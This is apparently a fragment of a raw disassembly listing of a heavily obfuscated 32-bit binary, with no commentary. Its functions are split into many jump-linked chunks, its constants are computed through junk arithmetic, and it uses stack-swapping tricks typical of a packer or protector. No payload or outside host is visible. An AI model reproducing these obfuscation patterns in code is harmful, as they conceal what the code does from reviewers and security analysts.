; FUNCTION CHUNK AT 1001C7EE SIZE 00000008 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C7F3 loc_100152D7: ; CODE XREF: sub_10016167:loc_10014580j jmp loc_1001B4F8 sub_100152C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100152DC: ; CODE XREF: sub_10017A58:loc_1001AA7Aj test ecx, 5922520Ah jmp loc_1001883A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100152E7: ; CODE XREF: sub_10013389:loc_1001AB36j jnz loc_1001DB2A sbb ebx, 1501C23Bh and ebp, 5384CA29h jmp loc_1001DB29 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_100152FE: ; CODE XREF: sub_1001537B:loc_1001DE99j jnz loc_1001B5FE jmp loc_1001974D ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10015309: ; CODE XREF: sub_10017D86-3431j jz loc_10016E52 jmp loc_1001784B ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10015314: ; CODE XREF: sub_100180C2:loc_1001D8C3j or eax, 63415270h sub eax, 41DDA19Eh and eax, 2318ACEFh add eax, 0B3897679h add eax, ebp push edx push 5CE45E82h pop edx jmp loc_10019CE9 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_1001533A proc near ; CODE XREF: sub_10018AB1-5978p ; an.kk9rg:1001D011j xchg esi, [esp+0] pop esi ror eax, 10h mov ds:dword_1001BC98, eax retn sub_1001533A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018628 loc_10015348: ; CODE XREF: sub_10018628+13j jmp loc_10014E08 ; END OF FUNCTION CHUNK FOR sub_10018628 ; =============== S U B R O U T I N E ======================================= sub_1001534D proc near ; CODE XREF: sub_10018AB1:loc_10013133p ; an.kk9rg:10014D77p ... ; FUNCTION CHUNK AT 1001383B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100181B5 SIZE 00000005 BYTES push ebp jmp loc_100181B5 sub_1001534D endp ; =============== S U B R O U T I N E ======================================= sub_10015353 proc near ; DATA XREF: an.kk9rg:loc_10017B08o ; FUNCTION CHUNK AT 100137FB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019F6F SIZE 0000001C BYTES test eax, eax jl loc_1001C0CC inc eax mov [ebp-1Ch], eax jmp loc_100137FB sub_10015353 endp ; --------------------------------------------------------------------------- loc_10015364: ; CODE XREF: an.kk9rg:1001DF2Ej jge loc_10017304 ; =============== S U B R O U T I N E ======================================= sub_1001536A proc near ; CODE XREF: sub_10016D9F+10p ; FUNCTION CHUNK AT 10017588 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C197 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C940 SIZE 00000018 BYTES xchg esi, [esp+0] pop esi loc_1001536E: ; CODE XREF: an.kk9rg:1001D8C8j xor eax, 0C372C8h push esi pushf jmp loc_1001C940 sub_1001536A endp ; =============== S U B R O U T I N E ======================================= sub_1001537B proc near ; CODE XREF: an.kk9rg:10015761j ; an.kk9rg:loc_1001DACEp ; FUNCTION CHUNK AT 1001472F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014CB6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100152FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100155BA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10016AF0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001797C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D41 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10019613 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001974D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019C4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EA6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001AB30 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001B379 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B5F8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001CE06 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DE99 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx loc_1001537F: ; CODE XREF: an.kk9rg:100169D3j sub al, 99h push 0F855C0C9h jmp loc_10014CB6 sub_1001537B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001538B: ; CODE XREF: an.kk9rg:10016D61j cmp ebp, 6E7F3DCAh jmp loc_1001A325 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015397: ; CODE XREF: an.kk9rg:10013123j jmp loc_100178BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001539C: ; CODE XREF: sub_10019E17-53B5j push offset loc_1001A554 loc_100153A1: ; CODE XREF: an.kk9rg:100175D3j jmp loc_1001960E ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100153A6: ; CODE XREF: sub_1001498A+513Bj add edx, [ebp-4] add eax, edx mov eax, [eax] add eax, [ebp-4] jmp loc_1001CCD4 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_100153B5: ; CODE XREF: sub_10015995:loc_1001A5C1j xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_10015995 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100153B8 proc near ; DATA XREF: sub_1001D951-3056o var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 10018B40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019940 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019AE7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001B9E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DCE6 SIZE 00000008 BYTES push ebp mov ebp, esp push ecx push 0FFFFFFF1h push eax jmp loc_10018B40 sub_100153B8 endp ; --------------------------------------------------------------------------- loc_100153C4: ; CODE XREF: an.kk9rg:10017068j jg loc_10018E2B loc_100153CA: ; CODE XREF: an.kk9rg:10018560j rol eax, 0Ah jnb loc_10017BD6 loc_100153D3: ; CODE XREF: an.kk9rg:1001D164j jmp loc_1001C911 ; --------------------------------------------------------------------------- loc_100153D8: ; CODE XREF: an.kk9rg:1001AFFFj jmp loc_1001AFCF ; --------------------------------------------------------------------------- sbb ebx, edx shr ebx, 13h jmp loc_10017BCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_100153E7: ; CODE XREF: sub_10018A31:loc_1001B306j mov esi, eax pop eax call sub_1001D2D5 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_100153EF: ; CODE XREF: sub_1001B4CC+4E5j add eax, 0E7FE5584h rol eax, 1Fh push offset sub_1001590F jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; =============== S U B R O U T I N E ======================================= sub_10015402 proc near ; CODE XREF: an.kk9rg:10014D60j ; an.kk9rg:10016F94p ; FUNCTION CHUNK AT 10017DF4 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx call sub_1001534D push edi mov edi, edx jmp loc_10017DF4 sub_10015402 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015413: ; DATA XREF: sub_10014968+9o mov [ebp-28h], eax push offset sub_10015A60 loc_1001541B: ; CODE XREF: an.kk9rg:loc_1001CB75j jmp locret_10017ACC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10015420: ; CODE XREF: sub_10018C4D:loc_1001B9F4j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] jmp loc_1001902B ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_1001543A proc near ; CODE XREF: an.kk9rg:10017072p ; an.kk9rg:1001CA5Bj ; FUNCTION CHUNK AT 1001998C SIZE 0000000C BYTES xchg eax, [esp+0] pop eax push edi mov edi, ebx loc_10015441: ; CODE XREF: an.kk9rg:1001C24Cj xchg edi, [esp+0] push 8BF79D4Fh pop ebx jmp loc_1001998C sub_1001543A endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop eax pop eax push eax push 0FFFFFFFFh push eax call sub_10015BFC call sub_100173FA jmp loc_1001A5C1 ; --------------------------------------------------------------------------- loc_10015464: ; CODE XREF: an.kk9rg:10016A7Ej push 0CDE7700Ch ; =============== S U B R O U T I N E ======================================= sub_10015469 proc near ; CODE XREF: sub_100183B7+5p ; FUNCTION CHUNK AT 10014C08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100158E6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100160EA SIZE 0000001B BYTES xchg eax, [esp+0] loc_1001546C: ; CODE XREF: an.kk9rg:100135F8j pop eax mov eax, ds:dword_1001B724 or eax, eax jmp loc_100160EA sub_10015469 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001547A: ; CODE XREF: sub_10013389+1D16j push offset sub_1001C44D jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push offset loc_10014D65 jmp loc_100192A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001548E: ; CODE XREF: sub_1001564A:loc_1001ABA9j jnz loc_100136AC jmp loc_10014BE1 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D5AF loc_10015499: ; CODE XREF: sub_1001D5AF+8j push offset loc_1001B6D5 jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_1001D5AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_100154A3: ; CODE XREF: sub_1001CBA8+5ACj adc edi, esi mov [edi], ecx cmp edx, 5E549B9Bh jmp loc_10015722 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_100154B2: ; CODE XREF: sub_1001492C+5C51j ; sub_1001B2A9j ; DATA XREF: ... xchg ebp, [esp-10h+arg_C] call sub_100159A8 loc_100154BA: ; CODE XREF: an.kk9rg:1001A7A3j jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100154BF: ; CODE XREF: sub_10013688+3A64j or ebx, 0FD358897h rol ecx, 1Eh loc_100154C8: ; CODE XREF: sub_10013688:loc_10014C16j call sub_10013310 mov edx, 0DDABAF17h push eax push 0E436A5A2h pop eax jmp loc_100193A6 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100154DE: ; CODE XREF: sub_10019409+14ECj jnb loc_1001B819 pop esi js loc_10019741 push ecx loc_100154EC: ; CODE XREF: sub_10019409:loc_10014200j call sub_100180C2 mov edx, 17B3C1CFh call sub_1001534D jmp loc_10015E02 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10015500: ; CODE XREF: sub_1001492C+2B61j test esi, 18DC0B78h jmp loc_1001DF3B ; END OF FUNCTION CHUNK FOR sub_1001492C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001550C: ; CODE XREF: sub_10019571+1FB5j jmp loc_1001D6DC ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10015511: ; CODE XREF: sub_1001D201:loc_1001CE20j jg loc_1001CC16 jmp loc_10018116 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001551C: ; CODE XREF: sub_10013389+125j jz loc_1001D684 jmp loc_1001AC36 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10015527: ; CODE XREF: sub_1001492C+6726j jnz loc_1001A583 jmp loc_1001412B ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10015532: ; CODE XREF: sub_1001CB33:loc_10015B9Aj adc ebp, 0F8D83673h sub edx, 2D9BBDACh add ebp, ecx jmp loc_100134A0 ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- rol ecx, 0Ch jmp loc_100199B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_1001554D: ; CODE XREF: sub_1001ACA5+3162j xor ecx, 0F627C342h add edx, ecx pop ecx mov edx, [edx] imul byte ptr [edx] call sub_10017FE2 ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; =============== S U B R O U T I N E ======================================= sub_1001555F proc near ; CODE XREF: an.kk9rg:1001772Aj ; sub_1001B5A3+Ep xchg ecx, [esp+0] pop ecx call sub_1001C8CE push offset loc_1001601A jmp nullsub_22 sub_1001555F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10015572: ; CODE XREF: sub_1001564A-54j push 537D81C9h jmp loc_10019B2D ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B413 loc_1001557C: ; CODE XREF: an.kk9rg:loc_10018792j ; sub_1001B413+Dj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001B413 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015580: ; CODE XREF: an.kk9rg:10018FA1j jmp nullsub_140 ; --------------------------------------------------------------------------- loc_10015585: ; CODE XREF: an.kk9rg:10014EDAj jmp loc_1001C162 ; =============== S U B R O U T I N E ======================================= sub_1001558A proc near ; CODE XREF: sub_100138FD+Fp ; sub_10019030-17FAp ; FUNCTION CHUNK AT 10014BBD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018194 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019668 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBBE SIZE 0000001D BYTES push ebp jmp loc_10019668 sub_1001558A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10015590: ; CODE XREF: sub_100174F4:loc_100174FFj add edi, 9919F478h mov ebp, [esi] jnp loc_1001CB88 rol ebp, 18h jmp loc_100132B5 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015792 loc_100155A6: ; CODE XREF: sub_10015792:loc_10016CCFj add eax, ebp add eax, 9C6DC667h mov eax, [eax] push offset loc_10016FD0 jmp nullsub_202 ; END OF FUNCTION CHUNK FOR sub_10015792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_100155BA: ; CODE XREF: sub_1001537B+4B3Fj jns loc_10018F5D sbb eax, edi ; END OF FUNCTION CHUNK FOR sub_1001537B ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100155C2: ; CODE XREF: sub_1001767A+8j ; sub_1001767A:loc_100191D2j ... jmp loc_10015B61 ; --------------------------------------------------------------------------- loc_100155C7: ; CODE XREF: sub_1001767A+31DCj ; sub_1001537B+6289j call sub_10016769 ; END OF FUNCTION CHUNK FOR sub_1001767A ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100155CC: ; CODE XREF: sub_10019409:loc_100198D4j xor edx, [ebx+ecx+4] jmp loc_1001D9FD ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100155D5: ; CODE XREF: sub_1001564A:loc_10017AF2j push offset loc_100198FD jmp nullsub_79 ; --------------------------------------------------------------------------- loc_100155DF: ; CODE XREF: sub_1001564A:loc_10014729j jnz loc_10019B2D xor ecx, 0D61E1DD3h shr edx, 6 loc_100155EE: ; CODE XREF: an.kk9rg:1001ADD6j js loc_1001A9DE add esi, edi jmp loc_10015572 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100155FB: ; CODE XREF: sub_10016D66:loc_10017E7Cj jnz loc_10014F63 jmp loc_10016A04 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jz loc_1001C1EC add edi, 9E4F6306h jmp sub_1001DD8B ; --------------------------------------------------------------------------- loc_10015617: ; DATA XREF: sub_10013061+68Eo xchg ecx, [esp] push ebx mov ebx, esi xchg ebx, [esp] call sub_10015712 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015626: ; CODE XREF: an.kk9rg:1001634Dj jmp sub_1001534D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001562B: ; CODE XREF: sub_1001456F:loc_10014EECj jmp loc_100150D9 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- loc_10015630: ; CODE XREF: an.kk9rg:1001D7F7j shr edx, 9 ; =============== S U B R O U T I N E ======================================= sub_10015633 proc near ; CODE XREF: sub_10013688:loc_10016352p ; FUNCTION CHUNK AT 10014E12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD07 SIZE 0000000C BYTES xchg eax, [esp+0] pop eax push eax loc_10015638: ; CODE XREF: an.kk9rg:1001A32Bj jmp loc_10014E12 sub_10015633 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001563D: ; CODE XREF: sub_1001564A:loc_1001A52Ej xor esi, 0E1B99239h test edi, edx loc_10015645: ; CODE XREF: an.kk9rg:10019F3Dj jmp loc_10016227 ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_1001564A proc near ; CODE XREF: sub_10018066:loc_10013A50p ; an.kk9rg:10016945j ; FUNCTION CHUNK AT 100136A8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10014729 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014A67 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10014BE1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100152A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001548E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015572 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100155D5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001563D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100158DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10015EFC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10016227 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017142 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100171AC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017AF2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018E03 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F8C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019026 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001969A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100197CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B2D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019CF4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10019D7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A180 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A529 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001A9DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001ABA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B241 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B6FB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C5F2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001CB7A SIZE 00000003 BYTES xchg eax, [esp+0] pop eax push eax push 8850FCDCh pop eax rol eax, 8 jmp loc_10019026 sub_1001564A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001565D: ; CODE XREF: an.kk9rg:loc_10017C0Dj ; an.kk9rg:10019969j ror edx, 1Eh ; START OF FUNCTION CHUNK FOR sub_10015276 loc_10015660: ; CODE XREF: sub_10015276:loc_10019958j sub eax, 97E65923h ; END OF FUNCTION CHUNK FOR sub_10015276 ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10015666: ; CODE XREF: sub_10015E0D:loc_10013A00j jnz loc_100138CE mov edi, [eax] sbb esi, 30AE1B18h jp loc_1001C489 jmp loc_100138CE ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001567F: ; CODE XREF: sub_10016167:loc_10016070j test edx, 238F97Dh jmp loc_10019D4C ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001568A: ; CODE XREF: an.kk9rg:100130FCj jbe loc_10017B03 ; =============== S U B R O U T I N E ======================================= sub_10015690 proc near ; CODE XREF: sub_100138FD:loc_1001AB9Fp xchg ecx, [esp+0] pop ecx pop ebp retn 0Ch sub_10015690 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015699: ; CODE XREF: an.kk9rg:10017BB1j jmp loc_1001A957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001569E: ; CODE XREF: sub_10013389+317Aj jmp loc_1001991D ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_100156A4: ; CODE XREF: sub_1001893F-1FC0j jmp loc_10019E43 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100156CB loc_100156A9: ; CODE XREF: sub_100156CB+11j jmp loc_100176C5 ; END OF FUNCTION CHUNK FOR sub_100156CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_100156AE: ; CODE XREF: sub_1001AC73+9j push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jnz loc_10016238 sub al, 99h push 86B4A95Eh not edx jmp loc_10018F58 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; =============== S U B R O U T I N E ======================================= sub_100156CB proc near ; DATA XREF: sub_10013389+908Bo ; FUNCTION CHUNK AT 100156A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100176C5 SIZE 0000000B BYTES xor edx, 48F402B9h add eax, edx pop edx loc_100156D4: ; CODE XREF: an.kk9rg:1001373Dj mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_100156A9 sub_100156CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100156E1: ; CODE XREF: sub_100180C2+217Ej add edx, 36D442AFh xchg edx, [esp+0Ch+var_C] jmp loc_1001A9C1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150E1 loc_100156EF: ; CODE XREF: sub_100150E1+1Cj add ecx, 0B2996A41h xchg ecx, [esp+4+var_4] jmp loc_1001CAD1 ; END OF FUNCTION CHUNK FOR sub_100150E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100156FD: ; CODE XREF: sub_10013999+1E1Cj ; sub_10013999:loc_1001CD57j call sub_100180C2 mov edx, 0BB931B55h call sub_1001534D push ebp jmp loc_10017AC7 ; END OF FUNCTION CHUNK FOR sub_10013999 ; =============== S U B R O U T I N E ======================================= sub_10015712 proc near ; CODE XREF: an.kk9rg:10015620p ; an.kk9rg:1001DF62j var_10 = dword ptr -10h ; FUNCTION CHUNK AT 10017B8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BA77 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax push edi push ebx push ecx mov eax, esp push 0 jmp loc_10017B8D sub_10015712 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_10015722: ; CODE XREF: sub_1001CBA8-76FBj jz loc_100163E0 adc ecx, 98D60CDEh adc eax, 0D5687CC2h jmp loc_10017F60 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- loc_10015739: ; CODE XREF: an.kk9rg:100160D5j sub al, 99h mov edx, [ebp-4] jmp loc_1001D095 ; =============== S U B R O U T I N E ======================================= sub_10015743 proc near ; CODE XREF: an.kk9rg:loc_1001A271j ; DATA XREF: sub_10018330:loc_10013ADBo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014BDC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001715C SIZE 00000018 BYTES push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] push edi push 0DEB0C0CEh pop edi rol edi, 12h jmp loc_1001715C sub_10015743 endp ; --------------------------------------------------------------------------- loc_10015758: ; CODE XREF: an.kk9rg:loc_100174ABj xchg esi, ebx jmp loc_100172FE ; --------------------------------------------------------------------------- xchg ecx, [eax] jmp sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10015766: ; CODE XREF: sub_1001B096:loc_1001511Ej xor edx, 5FF111FCh and edx, 5552644Eh test edx, 40000h jmp loc_10018ADF ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001577D: ; CODE XREF: sub_100136D7:loc_1001D7B4j pushf or edx, ebx jmp loc_10019C03 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10015785: ; CODE XREF: an.kk9rg:10016F43j adc ebp, ecx jmp sub_100163BA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001578D: ; CODE XREF: sub_100198E6+Aj jmp loc_10016C09 ; END OF FUNCTION CHUNK FOR sub_100198E6 ; =============== S U B R O U T I N E ======================================= sub_10015792 proc near ; CODE XREF: sub_1001504E:loc_10014FFDp ; an.kk9rg:1001A7B8j ; FUNCTION CHUNK AT 100155A6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016CCF SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 517BA346h pop eax sub eax, 7E4BBE76h add eax, 906254C5h jmp loc_10016CCF sub_10015792 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100157AD: ; CODE XREF: sub_10013999+53F4j js loc_100181EC or edx, esi jmp loc_100156FD ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_100157BA: ; CODE XREF: sub_100136FF:loc_10018081j and esi, 0D854F6E2h cmp esi, 89F01B60h jmp loc_10018B9D ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100157CB: ; CODE XREF: sub_1001C2D8-1E45j or eax, ds:100000CAh sub eax, 4FD8F5Ch xor eax, 0B9C33640h add eax, ebp call sub_1001CF40 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100157E4: ; CODE XREF: sub_1001B5A3-2DCj jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100157E9: ; CODE XREF: sub_10015BFC+4905j jmp loc_100176BA ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_100157EE: ; CODE XREF: an.kk9rg:1001AEB7j test ebp, ebx jmp loc_10019107 ; --------------------------------------------------------------------------- 